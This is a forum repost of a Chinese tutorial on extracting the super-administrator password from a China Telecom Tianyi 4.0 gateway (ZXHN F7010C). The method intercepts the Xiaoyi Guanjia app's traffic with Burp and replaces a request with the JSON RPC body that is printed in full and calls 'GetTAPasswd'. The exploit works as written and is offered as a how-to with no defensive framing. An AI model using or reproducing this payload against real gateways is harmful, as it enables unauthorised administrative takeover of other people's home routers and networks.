Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

破解天翼网关4.0 ZXHN F7010C超级管理员密码

 Share


Recommended Posts

之前讲过天翼3.0的超级管理员密码的破解,利用文件越权漏洞便可以破解,但是4.0的网关该漏洞已经修复。今天来看看如何破解吧!

251426304.jpg

环境

  • 网关型号 ZXHN F7010C
  • Burp
  • 小翼管家APP

实现原理

登录小翼管家APP,先将指示灯关闭。设置代理后,打开指示灯按钮,然后利用burp抓包。修改包数据即可!

设置代理

414080190.jpg
打开APP后,点击打开指示灯按钮并抓包。
1122376833.png
修改包内容如下:

{
  "Params": [],
  "MethodName": "GetTAPasswd",
  "RPCMethod": "CallMethod",
  "ObjectPath": "/com/ctc/igd1/Telecom/System",
  "InterfaceName": "com.ctc.igd1.SysCmd",
  "ServiceName": "com.ctc.igd1"
}

视频演示


版权属于:逍遥子大表哥

本文链接:https://blog.bbskali.cn/3644.html

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...